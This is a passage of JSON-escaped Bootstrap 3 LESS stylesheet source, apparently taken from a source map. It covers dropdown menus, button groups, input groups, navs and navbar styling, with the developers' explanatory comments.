`.dropdown-menu-[dir]`\n &.pull-right {\n right: 0;\n left: auto;\n }\n\n // Dividers (basically an hr) within the dropdown\n .divider {\n .nav-divider(@dropdown-divider-bg);\n }\n\n // Links within the dropdown menu\n > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: @line-height-base;\n color: @dropdown-link-color;\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n }\n}\n\n// Hover/Focus state\n.dropdown-menu > li > a {\n &:hover,\n &:focus {\n text-decoration: none;\n color: @dropdown-link-hover-color;\n background-color: @dropdown-link-hover-bg;\n }\n}\n\n// Active state\n.dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-active-color;\n text-decoration: none;\n outline: 0;\n background-color: @dropdown-link-active-bg;\n }\n}\n\n// Disabled state\n//\n// Gray out text and ensure the hover/focus state remains gray\n\n.dropdown-menu > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-disabled-color;\n }\n\n // Nuke hover/focus effects\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none; // Remove CSS gradient\n .reset-filter();\n cursor: @cursor-disabled;\n }\n}\n\n// Open state for the dropdown\n.open {\n // Show the menu\n > .dropdown-menu {\n display: block;\n }\n\n // Remove the outline when :focus is triggered\n > a {\n outline: 0;\n }\n}\n\n// Menu positioning\n//\n// Add extra class to `.dropdown-menu` to flip the alignment of the dropdown\n// menu with the parent.\n.dropdown-menu-right {\n left: auto; // Reset the default from `.dropdown-menu`\n right: 0;\n}\n// With v3, we enabled auto-flipping if you have a dropdown within a right\n// aligned nav component. To enable the undoing of that, we provide an override\n// to restore the default dropdown menu alignment.\n//\n// This is only for left-aligning a dropdown menu within a `.navbar-right` or\n// `.pull-right` nav component.\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n\n// Dropdown section headers\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: @font-size-small;\n line-height: @line-height-base;\n color: @dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Backdrop to catch body clicks on mobile, etc.\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: (@zindex-dropdown - 10);\n}\n\n// Right aligned dropdowns\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n//\n// Just add .dropup after the standard .dropdown class and you're set, bro.\n// TODO: abstract this so that the navbar fixed styles are not placed here?\n\n.dropup,\n.navbar-fixed-bottom .dropdown {\n // Reverse the caret\n .caret {\n border-top: 0;\n border-bottom: @caret-width-base dashed;\n border-bottom: @caret-width-base solid ~\"\\9\"; // IE8\n content: \"\";\n }\n // Different positioning for bottom up menu\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n }\n}\n\n\n// Component alignment\n//\n// Reiterate per navbar.less and the modified component alignment there.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-right {\n .dropdown-menu {\n .dropdown-menu-right();\n }\n // Necessary for overrides of the default right aligned menu.\n // Will remove come v4 in all likelihood.\n .dropdown-menu-left {\n .dropdown-menu-left();\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n.nav-divider(@color: #e5e5e5) {\n height: 1px;\n margin: ((@line-height-computed / 2) - 1) 0;\n overflow: hidden;\n background-color: @color;\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n","//\n// Button groups\n// --------------------------------------------------\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle; // match .btn alignment given font-size hack above\n > .btn {\n position: relative;\n float: left;\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active,\n &.active {\n z-index: 2;\n }\n }\n}\n\n// Prevent double borders when buttons are next to each other\n.btn-group {\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -1px;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n margin-left: -5px; // Offset the first child's margin\n &:extend(.clearfix all);\n\n .btn,\n .btn-group,\n .input-group {\n float: left;\n }\n > .btn,\n > .btn-group,\n > .input-group {\n margin-left: 5px;\n }\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n\n// Set corners individual because sometimes a single button can be in a .btn-group and we need :first-child and :last-child to both match\n.btn-group > .btn:first-child {\n margin-left: 0;\n &:not(:last-child):not(.dropdown-toggle) {\n .border-right-radius(0);\n }\n}\n// Need .dropdown-toggle since :last-child doesn't apply, given that a .dropdown-menu is used immediately after it\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n .border-left-radius(0);\n}\n\n// Custom edits for including btn-groups within btn-groups (useful for including dropdown buttons within a btn-group)\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-right-radius(0);\n }\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-left-radius(0);\n}\n\n// On active and open, don't show outline\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-xs > .btn { &:extend(.btn-xs); }\n.btn-group-sm > .btn { &:extend(.btn-sm); }\n.btn-group-lg > .btn { &:extend(.btn-lg); }\n\n\n// Split button dropdowns\n// ----------------------\n\n// Give the line between buttons some depth\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n\n// The clickable button for toggling the menu\n// Remove the gradient and set the same inset shadow as the :active state\n.btn-group.open .dropdown-toggle {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n .box-shadow(none);\n }\n}\n\n\n// Reposition the caret\n.btn .caret {\n margin-left: 0;\n}\n// Carets in other button sizes\n.btn-lg .caret {\n border-width: @caret-width-large @caret-width-large 0;\n border-bottom-width: 0;\n}\n// Upside down carets for .dropup\n.dropup .btn-lg .caret {\n border-width: 0 @caret-width-large @caret-width-large;\n}\n\n\n// Vertical button groups\n// ----------------------\n\n.btn-group-vertical {\n > .btn,\n > .btn-group,\n > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n }\n\n // Clear floats so dropdown menus can be properly placed\n > .btn-group {\n &:extend(.clearfix all);\n > .btn {\n float: none;\n }\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n }\n}\n\n.btn-group-vertical > .btn {\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n &:first-child:not(:last-child) {\n .border-top-radius(@btn-border-radius-base);\n .border-bottom-radius(0);\n }\n &:last-child:not(:first-child) {\n .border-top-radius(0);\n .border-bottom-radius(@btn-border-radius-base);\n }\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-bottom-radius(0);\n }\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-top-radius(0);\n}\n\n\n// Justified button groups\n// ----------------------\n\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n > .btn,\n > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n }\n > .btn-group .btn {\n width: 100%;\n }\n\n > .btn-group .dropdown-menu {\n left: auto;\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n[data-toggle=\"buttons\"] {\n > .btn,\n > .btn-group > .btn {\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0,0,0,0);\n pointer-events: none;\n }\n }\n}\n","// Single side border-radius\n\n.border-top-radius(@radius) {\n border-top-right-radius: @radius;\n border-top-left-radius: @radius;\n}\n.border-right-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-top-right-radius: @radius;\n}\n.border-bottom-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-bottom-left-radius: @radius;\n}\n.border-left-radius(@radius) {\n border-bottom-left-radius: @radius;\n border-top-left-radius: @radius;\n}\n","//\n// Input groups\n// --------------------------------------------------\n\n// Base styles\n// -------------------------\n.input-group {\n position: relative; // For dropdowns\n display: table;\n border-collapse: separate; // prevent input groups from inheriting border styles from table cells when placed within a table\n\n // Undo padding and float of grid classes\n &[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n }\n\n .form-control {\n // Ensure that the input is always above the *appended* addon button for\n // proper border colors.\n position: relative;\n z-index: 2;\n\n // IE9 fubars the placeholder attribute in text inputs and the arrows on\n // select elements in input groups. To fix it, we float the input. Details:\n // https://github.com/twbs/bootstrap/issues/11561#issuecomment-28936855\n float: left;\n\n width: 100%;\n margin-bottom: 0;\n\n &:focus {\n z-index: 3;\n }\n }\n}\n\n// Sizing options\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n .input-lg();\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n .input-sm();\n}\n\n\n// Display as table-cell\n// -------------------------\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n}\n// Addon and addon wrapper for buttons\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle; // Match the inputs\n}\n\n// Text input groups\n// -------------------------\n.input-group-addon {\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n font-weight: normal;\n line-height: 1;\n color: @input-color;\n text-align: center;\n background-color: @input-group-addon-bg;\n border: 1px solid @input-group-addon-border-color;\n border-radius: @input-border-radius;\n\n // Sizing\n &.input-sm {\n padding: @padding-small-vertical @padding-small-horizontal;\n font-size: @font-size-small;\n border-radius: @input-border-radius-small;\n }\n &.input-lg {\n padding: @padding-large-vertical @padding-large-horizontal;\n font-size: @font-size-large;\n border-radius: @input-border-radius-large;\n }\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n// Reset rounded corners\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n .border-right-radius(0);\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n .border-left-radius(0);\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n\n// Button input groups\n// -------------------------\n.input-group-btn {\n position: relative;\n // Jankily prevent input button groups from wrapping with `white-space` and\n // `font-size` in combination with `inline-block` on buttons.\n font-size: 0;\n white-space: nowrap;\n\n // Negative margin for spacing, position for bringing hovered/focused/actived\n // element above the siblings.\n > .btn {\n position: relative;\n + .btn {\n margin-left: -1px;\n }\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active {\n z-index: 2;\n }\n }\n\n // Negative margin to only have a 1px border between the two\n &:first-child {\n > .btn,\n > .btn-group {\n margin-right: -1px;\n }\n }\n &:last-child {\n > .btn,\n > .btn-group {\n z-index: 2;\n margin-left: -1px;\n }\n }\n}\n","//\n// Navs\n// --------------------------------------------------\n\n\n// Base class\n// --------------------------------------------------\n\n.nav {\n margin-bottom: 0;\n padding-left: 0; // Override default ul/ol\n list-style: none;\n &:extend(.clearfix all);\n\n > li {\n position: relative;\n display: block;\n\n > a {\n position: relative;\n display: block;\n padding: @nav-link-padding;\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: @nav-link-hover-bg;\n }\n }\n\n // Disabled state sets text to gray and nukes hover/tab effects\n &.disabled > a {\n color: @nav-disabled-link-color;\n\n &:hover,\n &:focus {\n color: @nav-disabled-link-hover-color;\n text-decoration: none;\n background-color: transparent;\n cursor: @cursor-disabled;\n }\n }\n }\n\n // Open dropdowns\n .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @nav-link-hover-bg;\n border-color: @link-color;\n }\n }\n\n // Nav dividers (deprecated with v3.0.1)\n //\n // This should have been removed in v3 with the dropping of `.nav-list`, but\n // we missed it. We don't currently support this anywhere, but in the interest\n // of maintaining backward compatibility in case you use it, it's deprecated.\n .nav-divider {\n .nav-divider();\n }\n\n // Prevent IE8 from misplacing imgs\n //\n // See https://github.com/h5bp/html5-boilerplate/issues/984#issuecomment-3985989\n > li > a > img {\n max-width: none;\n }\n}\n\n\n// Tabs\n// -------------------------\n\n// Give the tabs something to sit on\n.nav-tabs {\n border-bottom: 1px solid @nav-tabs-border-color;\n > li {\n float: left;\n // Make the list-items overlay the bottom border\n margin-bottom: -1px;\n\n // Actual tabs (as links)\n > a {\n margin-right: 2px;\n line-height: @line-height-base;\n border: 1px solid transparent;\n border-radius: @border-radius-base @border-radius-base 0 0;\n &:hover {\n border-color: @nav-tabs-link-hover-border-color @nav-tabs-link-hover-border-color @nav-tabs-border-color;\n }\n }\n\n // Active state, and its :hover to override normal :hover\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-tabs-active-link-hover-color;\n background-color: @nav-tabs-active-link-hover-bg;\n border: 1px solid @nav-tabs-active-link-hover-border-color;\n border-bottom-color: transparent;\n cursor: default;\n }\n }\n }\n // pulling this in mainly for less shorthand\n &.nav-justified {\n .nav-justified();\n .nav-tabs-justified();\n }\n}\n\n\n// Pills\n// -------------------------\n.nav-pills {\n > li {\n float: left;\n\n // Links rendered as pills\n > a {\n border-radius: @nav-pills-border-radius;\n }\n + li {\n margin-left: 2px;\n }\n\n // Active state\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-pills-active-link-hover-color;\n background-color: @nav-pills-active-link-hover-bg;\n }\n }\n }\n}\n\n\n// Stacked pills\n.nav-stacked {\n > li {\n float: none;\n + li {\n margin-top: 2px;\n margin-left: 0; // no need for this gap between nav items\n }\n }\n}\n\n\n// Nav variations\n// --------------------------------------------------\n\n// Justified nav links\n// -------------------------\n\n.nav-justified {\n width: 100%;\n\n > li {\n float: none;\n > a {\n text-align: center;\n margin-bottom: 5px;\n }\n }\n\n > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n }\n\n @media (min-width: @screen-sm-min) {\n > li {\n display: table-cell;\n width: 1%;\n > a {\n margin-bottom: 0;\n }\n }\n }\n}\n\n// Move borders to anchors instead of bottom of list\n//\n// Mixin for adding on top the shared `.nav-justified` styles for our tabs\n.nav-tabs-justified {\n border-bottom: 0;\n\n > li > a {\n // Override margin from .nav-tabs\n margin-right: 0;\n border-radius: @border-radius-base;\n }\n\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border: 1px solid @nav-tabs-justified-link-border-color;\n }\n\n @media (min-width: @screen-sm-min) {\n > li > a {\n border-bottom: 1px solid @nav-tabs-justified-link-border-color;\n border-radius: @border-radius-base @border-radius-base 0 0;\n }\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border-bottom-color: @nav-tabs-justified-active-link-border-color;\n }\n }\n}\n\n\n// Tabbable tabs\n// -------------------------\n\n// Hide tabbable panes to start, show them when `.active`\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n\n\n// Dropdowns\n// -------------------------\n\n// Specific dropdowns\n.nav-tabs .dropdown-menu {\n // make dropdown border overlap tab border\n margin-top: -1px;\n // Remove the top rounded corners here since there is a hard edge above the menu\n .border-top-radius(0);\n}\n","//\n// Navbars\n// --------------------------------------------------\n\n\n// Wrapper and base class\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n min-height: @navbar-height; // Ensure a navbar always shows (e.g., without a .navbar-brand in collapsed mode)\n margin-bottom: @navbar-margin-bottom;\n border: 1px solid transparent;\n\n // Prevent floats from breaking the navbar\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: @navbar-border-radius;\n }\n}\n\n\n// Navbar heading\n//\n// Groups `.navbar-brand` and `.navbar-toggle` into a single component for easy\n// styling of responsive aspects.\n\n.navbar-header {\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n }\n}\n\n\n// Navbar collapse (body)\n//\n// Group your navbar content into this for easy collapsing and expanding across\n// various device sizes. By default, this content is collapsed when <768px, but\n// will expand past that for a horizontal display.\n//\n// To start (on mobile devices) the navbar links, forms, and buttons are stacked\n// vertically and include a `max-height` to overflow in case you have too much\n// content for the user's viewport.\n\n.navbar-collapse {\n overflow-x: visible;\n padding-right: @navbar-padding-horizontal;\n padding-left: @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255,255,255,.1);\n &:extend(.clearfix all);\n -webkit-overflow-scrolling: touch;\n\n &.in {\n overflow-y: auto;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border-top: 0;\n box-shadow: none;\n\n &.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0; // Override default setting\n overflow: visible !important;\n }\n\n &.in {\n overflow-y: visible;\n }\n\n // Undo the collapse side padding for navbars with containers to ensure\n // alignment of right-aligned contents.\n .navbar-fixed-top &,\n .navbar-static-top &,\n .navbar-fixed-bottom & {\n padding-left: 0;\n padding-right: 0;\n }\n }\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n .navbar-collapse {\n max-height: @navbar-collapse-max-height;\n\n @media (max-device-width: @screen-xs-min) and (orientation: landscape) {\n max-height: 200px;\n }\n }\n}\n\n\n// Both navbar header and collapse\n//\n// When a container is present, change the behavior of the header and collapse.\n\n.container,\n.container-fluid {\n > .navbar-header,\n > .navbar-collapse {\n margin-right: -@navbar-padding-horizontal;\n margin-left: -@navbar-padding-horizontal;\n\n @media (min-width: @grid-float-breakpoint) {\n margin-right: 0;\n margin-left: 0;\n }\n }\n}\n\n\n//\n// Navbar alignment options\n//\n// Display the navbar across the entirety of the page or fixed it to the top or\n// bottom of the page.\n\n// Static top (unfixed, but 100% wide) navbar\n.navbar-static-top {\n z-index: @zindex-navbar;\n border-width: 0 0 1px;\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n\n// Fix the top/bottom navbars when screen real estate supports it\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: @zindex-navbar-fixed;\n\n // Undo the rounded corners\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0; // override .navbar defaults\n border-width: 1px 0 0;\n}\n\n\n// Brand/project name\n\n.navbar-brand {\n float: left;\n padding: @navbar-padding-vertical @navbar-padding-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-computed;\n height: @navbar-height;\n\n &:hover,\n &:focus {\n text-decoration: none;\n }\n\n > img {\n display: block;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n .navbar > .container &,\n .navbar > .container-fluid & {\n margin-left: -@navbar-padding-horizontal;\n }\n }\n}\n\n\n// Navbar toggle\n//\n// Custom button for toggling the `.navbar-collapse`, powered by the collapse\n// JavaScript plugin.\n\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: @navbar-padding-horizontal;\n padding: 9px 10px;\n .navbar-vertical-align(34px);\n background-color: transparent;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n border-radius: @border-radius-base;\n\n // We remove the `outline` here, but later compensate by attaching `:hover`\n // styles to `:focus`.\n &:focus {\n outline: 0;\n }\n\n // Bars\n .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n }\n .icon-bar + .icon-bar {\n margin-top: 4px;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n display: none;\n }\n}\n\n\n// Navbar nav links\n//\n// Builds on top of the `.nav` components with its own modifier class to make\n// the nav the full height of the horizontal nav (above 768px).\n\n.navbar-nav {\n margin: (@navbar-padding-vertical / 2) -@navbar-padding-horizontal;\n\n > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: @line-height-computed;\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n > li > a,\n .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n > li > a {\n line-height: @line-height-computed;\n &:hover,\n &:focus {\n background-image: none;\n }\n }\n }\n }\n\n // Uncollapse the nav\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin: 0;\n\n > li {\n float: left;\n > a {\n padding-top: @navbar-padding-vertical;\n padding-bottom: @navbar-padding-vertical;\n }\n }\n }\n}\n\n\n// Navbar form\n//\n// Extension of the `.form-inline` with some extra flavor for optimum display in\n// our navbars.\n\n.navbar-form {\n margin-left: -@navbar-padding-horizontal;\n margin-right: -@navbar-padding-horizontal;\n padding: 10px @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n\n // Mixin behavior for optimum display\n .form-inline();\n\n .form-group {\n @media (max-width: @grid-float-breakpoint-max) {\n margin-bottom: 5px;\n\n &:last-child {\n margin-bottom: 0;\n }\n }\n }\n\n // Vertically center in expanded, horizontal navbar\n .navbar-vertical-align(@input-height-base);\n\n // Undo 100% width for pull classes\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n .box-shadow(none);\n }\n}\n\n\n// Dropdown menus\n\n// Menu position and menu carets\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n .border-top-radius(0);\n}\n// Menu position and menu caret support for dropups via extra dropup class\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n .border-top-radius(@navbar-border-radius);\n .border-bottom-radius(0);\n}\n\n\n// Buttons in navbars\n//\n// Vertically center a button within a navbar (when *not* in a form).\n\n.navbar-btn {\n .navbar-vertical-align(@input-height-base);\n\n &.btn-sm {\n .navbar-vertical-align(@input-height-small);\n }\n &.btn-xs {\n .navbar-vertical-align(22);\n }\n}\n\n\n// Text in navbars\n//\n// Add a class to make any element properly align itself vertically within the navbars.\n\n.navbar-text {\n .navbar-vertical-align(@line-height-computed);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin-left: @navbar-padding-horizontal;\n margin-right: @navbar-padding-horizontal;\n }\n}\n\n\n// Component alignment\n//\n// Repurpose the pull utilities as their own navbar utilities to avoid specificity\n// issues with parents and chaining. Only do this when the navbar is uncollapsed\n// though so that navbar contents properly stack and align in mobile.\n//\n// Declared after the navbar components to ensure more specificity on the margins.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-left { .pull-left(); }\n .navbar-right {\n .pull-right();\n margin-right: -@navbar-padding-horizontal;\n\n ~ .navbar-right {\n margin-right: 0;\n }\n }\n}\n\n\n// Alternate navbars\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n background-color: @navbar-default-bg;\n border-color: @navbar-default-border;\n\n .navbar-brand {\n color: @navbar-default-brand-color;\n &:hover,\n &:focus {\n color: @navbar-default-brand-hover-color;\n background-color: @navbar-default-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-default-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-default-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n\n .navbar-toggle {\n border-color: @navbar-default-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-default-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-default-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: @navbar-default-border;\n }\n\n // Dropdown menu items\n .navbar-nav {\n // Remove background color from open dropdown\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-default-link-active-bg;\n color: @navbar-default-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n > li > a {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n }\n }\n\n\n // Links in navbars\n //\n // Add a class to ensure links outside the navbar nav are colored correctly.\n\n .navbar-link {\n color: @navbar-default-link-color;\n &:hover {\n color: @navbar-default-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n }\n }\n }\n}\n\n// Inverse navbar\n\n.navbar-inverse {\n background-color: @navbar-inverse-bg;\n border-color: @navbar-inverse-border;\n\n .navbar-brand {\n color: @navbar-inverse-brand-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-brand-hover-color;\n background-color: @navbar-inverse-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-inverse-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-inverse-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n\n // Darken the responsive nav toggle\n .navbar-toggle {\n border-color: @navbar-inverse-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-inverse-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-inverse-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: darken(@navbar-inverse-bg, 7%);\n }\n\n // Dropdowns\n .navbar-nav {\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-inverse-link-active-bg;\n color: @navbar-inverse-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display\n .open .dropdown-menu {\n > .dropdown-header {\n border-color: @navbar-inverse-border;\n }\n .divider {\n background-color: @navbar-inverse-border;\n }\n > li > a {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n }\n }\n\n .navbar-link {\n color: @navbar-inverse-link-color;\n &:hover {\n color: @navbar-inverse-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-inverse-link-color;\n 